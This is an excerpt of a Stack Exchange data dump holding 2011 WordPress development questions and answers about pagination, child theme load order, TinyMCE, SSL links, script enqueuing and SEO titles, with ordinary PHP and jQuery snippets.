  <row Id="9987" PostTypeId="1" CreationDate="2011-02-21T18:24:32.660" Score="0" ViewCount="379" Body="&lt;p&gt;I just fixed the problem of my featured posts section displaying on every index page instead of just the first one. This, of course, created a brand new problem. The first page looks fine; my featured posts are all where they should be and the loop below doesn't include any repeat posts. But then I click on &quot;older entries&quot; at the bottom of the page and page two contains the first eight posts from the loop. Page three contains the same eight posts, as do pages four, five, six, and presumably all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://inkandpixelclub.com/page/2/&quot; rel=&quot;nofollow&quot;&gt;Here's page two&lt;/a&gt;, where the problem starts. What do I need to add or take out in order to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think I have an idea of where the problem is, but not how to fix it. Everything seems to work fine until I add in the query_posts to offset the main loop by 4, since those posts are displayed up in the feature area. It seems that when I go to page two and beyond, every page is starting from that offset of four instead of continuing on to display the next batch of posts. If I take out the query, it works fine, except for the fact that I have duplicate posts in the loop.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastEditorUserId="2436" LastEditorDisplayName="" LastEditDate="2011-02-21T20:31:39.957" LastActivityDate="2011-03-26T14:11:49.917" Title="Previous Posts Link and Next Posts Link Show All The Same Articles?" Tags="&lt;loop&gt;&lt;navigation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="9989" PostTypeId="1" AcceptedAnswerId="10009" CreationDate="2011-02-21T19:02:56.873" Score="5" ViewCount="367" Body="&lt;p&gt;I got the problem that i have to load my parent theme's &lt;code&gt;functions.php&lt;/code&gt; file before my child theme's &lt;code&gt;functions.php&lt;/code&gt; file loads. This is needed for the setup &amp;amp; init procedure. I looked at the hooks inside /wp_core_root/wp-settings.php (named: &lt;code&gt;do_action('setup_theme');&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that i don't know how to hook into there, because the first file i get is the child theme's &lt;code&gt;functions.php&lt;/code&gt;, so no &lt;code&gt;add_action( 'setup_theme', 'my_init_function' );&lt;/code&gt; will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt;&lt;br&gt;&#xA;a) I know that plugins load earlier than theme and therefore can access even the initial Query, but i don't want to rely on a Plugin.&lt;br&gt;&#xA;b) Here's the code (shortened) from wp-settings.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// happens a lot earlier:  &#xA;do_action( 'plugins_loaded' );&#xA;&#xA;// localize stuff happening here&#xA;    do_action( 'setup_theme' );&#xA;&#xA;        // Load the functions for the active theme, for both parent and child theme if applicable.&#xA;        if ( TEMPLATEPATH !== STYLESHEETPATH &amp;amp;&amp;amp; file_exists( STYLESHEETPATH . '/functions.php' ) )&#xA;            include( STYLESHEETPATH . '/functions.php' );&#xA;        if ( file_exists( TEMPLATEPATH . '/functions.php' ) )&#xA;            include( TEMPLATEPATH . '/functions.php' );&#xA;    // first available hook, *after* functions.php was loaded&#xA;    do_action( 'after_setup_theme' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to avoid two things: First a lot of explanation to users. Second the chance that someone breaks anything if the cuts the rope with accidently deleting the parents init procedure. People shall just play inside the functions.php without risking to break anything without knowing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: How do i keep my child themes functions.php file clean, but have the the parent themes bootstrap done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-22T03:15:08.147" LastActivityDate="2011-02-22T05:40:55.893" Title="How to load parent_theme functions.php before child_theme?" Tags="&lt;functions&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="2" />
  <row Id="9990" PostTypeId="2" ParentId="1567" CreationDate="2011-02-21T19:03:12.550" Score="3" ViewCount="" Body="&lt;h2&gt;Add parent page slug to body_class&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/***************************************************************&#xA;* Function body_class_section&#xA;* Add the top level page to the body class for coloured sections&#xA;***************************************************************/&#xA;&#xA;add_filter('body_class','body_class_section');&#xA;&#xA;function body_class_section($classes) {&#xA;    global $wpdb, $post;&#xA;    if (is_page()) {&#xA;        if ($post-&amp;gt;post_parent) {&#xA;            $parent  = end(get_post_ancestors($current_page_id));&#xA;        } else {&#xA;            $parent = $post-&amp;gt;ID;&#xA;        }&#xA;        $post_data = get_post($parent, ARRAY_A);&#xA;        $classes[] = 'section-' . $post_data['post_name'];&#xA;    }&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This filter adds a unique body class based on the highest level parent of the current page. I use this for sites that have specific colours or layouts for each section of the site. It works best with sites based around pages. CSS examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section-about { background: red; }&#xA;.section-portfolio { background: blue; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your theme must also make use of the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body_class function&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fix oEmbed flash objects&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/***************************************************************&#xA;* Function my_oembed_wmode&#xA;* Fix oEmbed window mode for flash objects&#xA;***************************************************************/&#xA;&#xA;add_filter('embed_oembed_html', 'my_oembed_wmode', 1);&#xA;&#xA;function my_oembed_wmode( $embed ) {&#xA;    if ( strpos( $embed, '&amp;lt;param' ) !== false ) {&#xA;        $embed = str_replace( '&amp;lt;embed', '&amp;lt;embed wmode=&quot;transparent&quot; ', $embed );&#xA;        $embed = preg_replace( '/param&amp;gt;/', 'param&amp;gt;&amp;lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&amp;gt;', $embed, 1);&#xA;    }&#xA;    return $embed;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have had problems in the past where oEmbed Flash objects collide with drop down navigation menus. This filter fixes that problem by adding a transparent window mode to the embeds.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Remove the &quot;comments&quot; column from Admin page list&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/***************************************************************&#xA;* Function custom_pages_columns&#xA;* Remove &quot;comments&quot; from pages overview (rarely use comments on pages)&#xA;***************************************************************/&#xA;&#xA;add_filter('manage_pages_columns', 'custom_pages_columns');&#xA;&#xA;function custom_pages_columns($defaults) {&#xA;    unset($defaults['comments']);&#xA;    return $defaults;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hardly ever make use of commenting on pages and this helps keep things tidy in the WordPress dashboard.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2011-02-21T19:03:12.550" CommunityOwnedDate="2011-02-21T19:03:12.550" />
  <row Id="9991" PostTypeId="2" ParentId="9987" CreationDate="2011-02-21T19:04:10.540" Score="0" ViewCount="" Body="&lt;p&gt;Try this one instead (more native, closer to core): &lt;code&gt;get_adjacent_post()&lt;/code&gt; - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; ... for a more indepth look at how it works, look at my repo &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;@github&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-21T19:04:10.540" CommentCount="8" />
  <row Id="9992" PostTypeId="2" ParentId="9985" CreationDate="2011-02-21T19:10:47.523" Score="2" ViewCount="" Body="&lt;p&gt;Ok, I think I have an idea what is going on.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The list of notices to display is retrieved by &lt;code&gt;get_settings_errors()&lt;/code&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/includes/template.php#L3133&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This function reads notices from global &lt;code&gt;$wp_settings_errors&lt;/code&gt; &lt;strong&gt;unless&lt;/strong&gt; there is &lt;code&gt;settings_errors&lt;/code&gt; transient set, which trumps global var.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When settings are saved there is check for no setting errors and if so &lt;em&gt;Settings saved.&lt;/em&gt; notice is generated. After that (in either case) errors are saved into &lt;code&gt;settings_errors&lt;/code&gt; transient (I assume to preserve them on redirect) ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/options.php#L149&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) .&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Basically no matter what notices you generate in your code - they will be ignored when transient is set and it is always going to be set after saving settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for me it would make sense to concatenate transient with global variable rather than making it &lt;em&gt;exclusive or&lt;/em&gt; choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I guess to display custom notices when transient is set I will need to mess with that transient, which is probably not worth the trouble.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-21T19:16:56.197" LastActivityDate="2011-02-21T19:16:56.197" CommentCount="5" />
  <row Id="9993" PostTypeId="1" CreationDate="2011-02-21T19:16:55.150" Score="0" ViewCount="103" Body="&lt;p&gt;I am trying to use this ajax based mp3 plugin in a site for a musician. However I am having some problems in Internet Explorer. I have asked the maker of the plugin but no reply, and wondered if anyone could help me work out the errors that are occurring. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My test site is here: &lt;a href=&quot;http://sproutdesigns.co.uk/clients/gloria/&quot; rel=&quot;nofollow&quot;&gt;http://sproutdesigns.co.uk/clients/gloria/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working in Safari, and Firefox, loading problems seem to occur in IE, showing a blank screen in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do apologise if this is inappropriate talk for this forum, but I new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2011-02-21T19:16:55.150" Title="n3rdskwat-mp3player plugin IE problems" Tags="&lt;ajax&gt;" />
  <row Id="9994" PostTypeId="1" AcceptedAnswerId="9995" CreationDate="2011-02-21T19:22:04.973" Score="2" ViewCount="153" Body="&lt;p&gt;The script below is taken from a plugin that converts all textareas in the category and tags editors to rich text editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using it to convert the category &quot;Description&quot; textarea input box to rich text. However, I have another text area on this same edit screen (one that I've added as a custom field) that I don't want rich text enabled. However, the plugin applies rich text to all edit fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell from the code below how to do one of the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Disable rich text on a textarea with ID &quot;myTextarea&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only apply the rich text to the Category &quot;description&quot; text area and no others? (preferred)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'catde_init');&#xA;function catde_init() {&#xA;    if ( is_admin() || defined('DOING_AJAX') ) {&#xA;        if ( current_user_can('manage_categories') )&#xA;            remove_filter('pre_term_description', 'wp_filter_kses');&#xA;    }&#xA;}&#xA;&#xA;add_action('load-categories.php', 'catde_admin_init');&#xA;add_action('load-edit-tags.php', 'catde_admin_init');&#xA;function catde_admin_init() {&#xA;    if ( user_can_richedit() &amp;amp;&amp;amp; isset($_GET['action']) &amp;amp;&amp;amp; 'edit' === $_GET['action'] &amp;amp;&amp;amp; ( !empty($_GET['cat_ID']) || ( !empty($_GET['taxonomy']) &amp;amp;&amp;amp; !empty($_GET['tag_ID']) ) ) ) {&#xA;        add_filter( 'tiny_mce_before_init', 'catde_mceinit');&#xA;        add_action('admin_footer', 'wp_tiny_mce');&#xA;        add_action('admin_head', 'catde_head');&#xA;    }&#xA;}&#xA;&#xA;function catde_mceinit($init) {&#xA;&#xA;    $init['mode'] = 'textareas';&#xA;    $init['editor_selector'] = '';&#xA;    $init['elements'] = 'category_description,description';&#xA;    $init['plugins'] = 'safari,inlinepopups,autosave,spellchecker,paste,wordpress,media,fullscreen';&#xA;    $init['theme_advanced_buttons1'] .= ',image';&#xA;    $init['theme_advanced_buttons2'] .= ',code';&#xA;    $init['onpageload'] = '';&#xA;    $init['save_callback'] = '';&#xA;&#xA;    return $init;&#xA;}&#xA;&#xA;function catde_head() { ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;#category_description_tbl,#description_tbl{border:1px solid #dfdfdf;}.wp_themeSkin .mceStatusbar{border-color:#dfdfdf;}&amp;lt;/style&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-21T19:26:37.127" Title="How to un-attach rich text editor from named textarea elements" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9995" PostTypeId="2" ParentId="9994" CreationDate="2011-02-21T19:26:37.127" Score="3" ViewCount="" Body="&lt;p&gt;Currently you're telling it to target all textareas on the page so you need to change &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$init['mode'] = 'textareas';&lt;/code&gt; to &lt;code&gt;$init['mode'] = 'specific_textareas'&lt;/code&gt; or &lt;code&gt;$init['mode'] = 'exact'&lt;/code&gt; and then name the textarea by id where you have &lt;code&gt;$init['elements'] = 'category_description,description';&lt;/code&gt; defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read more about tinyMCE options go to &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/wiki.php/Configuration&lt;/a&gt; and the mode configuration description is here &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration:mode&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/wiki.php/Configuration:mode&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-21T19:26:37.127" CommentCount="1" />
  <row Id="9996" PostTypeId="1" AcceptedAnswerId="9997" CreationDate="2011-02-21T19:34:51.277" Score="0" ViewCount="48" Body="&lt;p&gt;I've got a client site which uses SSL for only a small chunk of pages where users purchase subscriptions. So, for those pages, we just make sure that any links into them have hrefs with &lt;a href=&quot;https://etc&quot; rel=&quot;nofollow&quot;&gt;https://etc&lt;/a&gt; and everything's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that once they're finished with the purchase and &lt;em&gt;exit&lt;/em&gt; those pages using any links managed by the site theme menus, the SSL connection is retained. These URL references are not under our direct control, as they're just created by dragging the requisite page/category block around in the menu manager, so we can't adjust the http(s) portion.&#xA;This results in spurious security warnings about unsecured content on pages that shouldn't be secured anyway, and some issues with certain bits of scripting, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we fix this? Is there something I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="3370" LastEditorUserId="3370" LastEditorDisplayName="" LastEditDate="2011-02-21T19:55:29.067" LastActivityDate="2011-02-21T19:55:29.067" Title="Is there a way to tell menu items to force non-SSL URLs?" Tags="&lt;menus&gt;&lt;ssl&gt;" AnswerCount="1" />
  <row Id="9997" PostTypeId="2" ParentId="9996" CreationDate="2011-02-21T19:42:32.187" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-https/&quot; rel=&quot;nofollow&quot;&gt;WP HTTPS plugin&lt;/a&gt; will be your friend.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-21T19:42:32.187" CommentCount="1" />
  <row Id="9998" PostTypeId="2" ParentId="9916" CreationDate="2011-02-21T20:06:22.567" Score="1" ViewCount="" Body="&lt;p&gt;There's several major things wrong here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - jquery 1.5.0 is incompatible with previous versions. Therefore it's not making it into WordPress 3.1 at present. You should stick with 1.4.2, which is what comes with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Loading scripts into the page that way is simply incorrect and weird. Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_enqueue_scripts', 'peb_enqueue'); &#xA;function peb_enqueue() {&#xA;    wp_enqueue_script('jquery'); &#xA;}&#xA;&#xA;add_action('admin_head', 'peb_admin_head'); &#xA;function peb_admin_head() {&#xA;    echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;    require_once('js.php');&#xA;    echo '&amp;lt;/script&amp;gt;'; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3 - All your jquery code needs to use &quot;jQuery&quot; instead of &quot;$&quot;. Or, you need to use this bit of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    // $() will work as an alias for jQuery() inside of this function&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4 - Including PHP variables inside strings in PHP need to use double-quotes. Single-quoted strings do not get evaluated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 - Your basic JSON call is flawed, because you're calling just &quot;iLookup.php&quot;. You have no idea what the URL is, so you can't use a simple relative URL. The URL could be example.com or example.com/blog/2010/single-post-name. Where is this iLookup.php file actually located?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6 - If you're using AJAX type requests like this, you should use the built in WordPress mechanisms to do this. WP allows you to handle AJAX requests without having a separate file to call upon. Just put your PHP into the main code, in a function, and then hook that function to your own type of wp_ajax_* handler. More info here: &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins#Ajax_on_the_Administration_Side&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins#Ajax_on_the_Administration_Side&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-21T20:06:22.567" />
  <row Id="9999" PostTypeId="2" ParentId="9914" CreationDate="2011-02-21T20:20:13.390" Score="1" ViewCount="" Body="&lt;p&gt;I'd recommend using &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts()&lt;/a&gt;. It'll use up more memory than directly querying the database as it'll be returning the full post objects, but it has the advantage of being essentially future proof as you're using the API.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_posts = get_posts( 'meta_key=foobar' );&#xA;$meta_post_count = count( $meta_posts );&#xA;unset( $meta_posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;query_posts()&lt;/a&gt; docs for a full list of arguments that you can use and a ton of great examples.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2011-02-21T20:20:13.390" CommentCount="3" />
  <row Id="10000" PostTypeId="1" AcceptedAnswerId="10007" CreationDate="2011-02-21T20:28:29.220" Score="0" ViewCount="126" Body="&lt;p&gt;I've found that my attachment templates are inheriting the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;enqueued&lt;/a&gt; scripts for single posts. My first instinct was to unenqueue these scripts one-by-one or to do an &lt;code&gt;is_attachment()&lt;/code&gt; check before enqueueing them at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It strikes me that a more robust way to do this might be to simply be to remove any and all enqueued scripts for that page type; that way, I don't have to update code in multiple places if I add or remove an enqueued script in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offhand I can't find a way to do this. What's a good way to unenqueue all scripts for just a single page?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-02-21T20:41:39.133" LastActivityDate="2011-02-21T21:12:26.513" Title="What's a good way to unenqueue all scripts for a single template page?" Tags="&lt;themes&gt;&lt;template&gt;&lt;wp-enqueue-script&gt;&lt;scripts&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10001" PostTypeId="2" ParentId="9989" CreationDate="2011-02-21T20:30:01.793" Score="5" ViewCount="" Body="&lt;p&gt;Firstly, you can't. The child theme's functions.php always loads first, period. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, themes can't hook to setup_theme. Plugins can, but the first thing a theme can hook to is after_setup_theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your parent is designed correctly, then the child is capable of overriding functions and stuff in the parent, but only when it loads first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broadly speaking, if you think you need to load the parent's functions file first, then you're probably doing it wrong, somehow. You need to explain the larger issue.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-21T20:30:01.793" CommentCount="5" />
  <row Id="10003" PostTypeId="1" CreationDate="2011-02-21T20:43:01.077" Score="0" ViewCount="137" Body="&lt;p&gt;What is necessary to copy the TwentyTen theme's navigation bar? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it do with the following code snippet &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;      &amp;lt;?php /*  Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff */ ?&amp;gt;&#xA;      &amp;lt;div class=&quot;skip-link screen-reader-text&quot;&amp;gt;&amp;lt;a href=&quot;#content&quot; title=&quot;&amp;lt;?php esc_attr_e( 'Skip to content', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'Skip to content', 'twentyten' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php /* Our navigation menu.  If one isn't filled out, wp_nav_menu falls back to wp_page_menu.  The menu assiged to the primary position is the one used.  If none is assigned, the menu with the lowest ID is used.  */ ?&amp;gt;&#xA;      &amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then handpick from theme's CSS?&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-02-21T20:43:01.077" Title="Copy TwentyTen's navigation bar?" Tags="&lt;themes&gt;&lt;navigation-bar&gt;" CommentCount="1" />
  <row Id="10004" PostTypeId="1" CreationDate="2011-02-13T09:10:00.183" Score="0" ViewCount="138" Body="&lt;p&gt;it's about the website www.kindheitsorte.de.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do a Google search for &quot;kindheitsorte.de&quot; you get to see &quot;kindheitsorte.de/&quot; as the result - no custom site title or description at all. When you do a Google search for &quot;kindheitsorte&quot; you get &quot;Informationen&quot; as the site title (which is pretty weird because this title has never been added - you can't even see it in the website's source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is running on Wordpress 2.9.2 and makes use of the All in One SEO Pack 1.6.13. I have added a custom description for each page with the All in One SEO Pack since the Home page of the website does not contain any text that Goolge could be interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I have to do in order to have Google display the right title and also the description I have added?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, guys!&lt;/p&gt;&#xA;" LastActivityDate="2011-02-21T20:58:16.663" Title="How to give a website (Wordpress) a custom title and description in Google search" Tags="&lt;google-search&gt;&lt;seo&gt;" AnswerCount="2" />
  <row Id="10005" PostTypeId="2" ParentId="10004" CreationDate="2011-02-14T05:53:10.980" Score="0" ViewCount="" Body="&lt;p&gt;I have a hunch that Google favors English webpage Titles. Try changing your title from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;Buchpräsentation | Kindheitsorte - Eine Zieglerkindheit an der Havel&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&#xA;    Childhood places&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, consider serving the visitor their language with &lt;a href=&quot;http://wordpress.org/extend/plugins/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="338" LastActivityDate="2011-02-14T05:53:10.980" CommentCount="1" />
  <row Id="10006" PostTypeId="2" ParentId="10004" CreationDate="2011-02-20T21:39:31.960" Score="2" ViewCount="" Body="&lt;p&gt;The problem had a very simple cause - the WP privacy settings were set to &quot;hide blog&quot; without me noticing, that's why the website did not get craweled well by Google.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-20T21:39:31.960" />
  <row Id="10007" PostTypeId="2" ParentId="10000" CreationDate="2011-02-21T21:12:26.513" Score="3" ViewCount="" Body="&lt;p&gt;I haven't tried it, but this might do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_scripts;&#xA;if (is_a($wp_scripts, 'WP_Scripts')) {&#xA;  $wp_scripts-&amp;gt;queue = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically just resetting the scripts queue to blank. Should work, I think. You'd want this right at the top of your attachment template, probably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an optimization perspective, it would be faster to use the is_attachment() method to not enqueue the ones you want at all instead.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-21T21:12:26.513" CommentCount="4" />
  <row Id="10008" PostTypeId="2" ParentId="9983" CreationDate="2011-02-21T21:15:44.687" Score="3" ViewCount="" Body="&lt;p&gt;For a function that enqueues scripts, the action hook you use should actually be &quot;wp_enqueue_scripts&quot; for the front of the site, and &quot;admin_enqueue_scripts&quot; for the admin side of things. This is the proper time to enqueue scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can technically do it anytime before wp_head, this is the best place because it's pretty much the last possible chance to do it, thus ensuring that everything else that can be done before script output has been done, making your logic all work properly.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-21T21:15:44.687" CommentCount="2" />
  <row Id="10009" PostTypeId="2" ParentId="9989" CreationDate="2011-02-21T21:24:25.450" Score="3" ViewCount="" Body="&lt;p&gt;Justin Tadlock recently wrote a great post about &lt;strong&gt;making a better functions.php file&lt;/strong&gt;&lt;br&gt;&#xA;where (if I remember correctly) he deals with this exact issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately his site is down at the moment so I have to rely on my memory for now.&lt;br&gt;&#xA;(ouch it hurts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are on the right track with &lt;code&gt;after_setup_theme&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As far as I remember the trick is to wrap your filters and actions into its function.&lt;br&gt;&#xA;See example below.  &lt;/li&gt;&#xA;&lt;li&gt;You do that in both parent and child &lt;code&gt;functions.php&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Then you can play with the priority of these two hooks. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Little bit of code worth thousand words - your parent theme's &lt;code&gt;function.php&lt;/code&gt; should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'your_parent_theme_setup', 9 );&#xA;function your_parent_theme_setup() {    &#xA;    add_action(admin_init, your_admin_init);&#xA;    add_filter(the_content, your_content_filter);&#xA;}&#xA;&#xA;function your_admin_init () {&#xA;...&#xA;}&#xA;&#xA;function your_content_filter() {&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-02-21T21:24:25.450" CommentCount="3" />
  <row Id="10010" PostTypeId="1" CreationDate="2011-02-21T22:54:09.487" Score="0" ViewCount="88" Body="&lt;p&gt;FINAL UPDATE: I just put up a new post and the problem seems to have fixed itself. I don't know what I was or wasn't doing before, but now all the posts that should be in the main loop are there and none of the posts from the featured sections are repeated. I'll let you know f the problem comes up again, but for now, I'm good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just finished setting up my main loop to skip over two categories using &quot;(if in_category)...continue&quot; and it's mostly working fine. But for some reason, it's also skipping over the first couple of posts, even if they aren't in those wo categories. I even tried removing some posts from one of the skipped categories just to see what would happen, but the main loop still just shows the same set of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 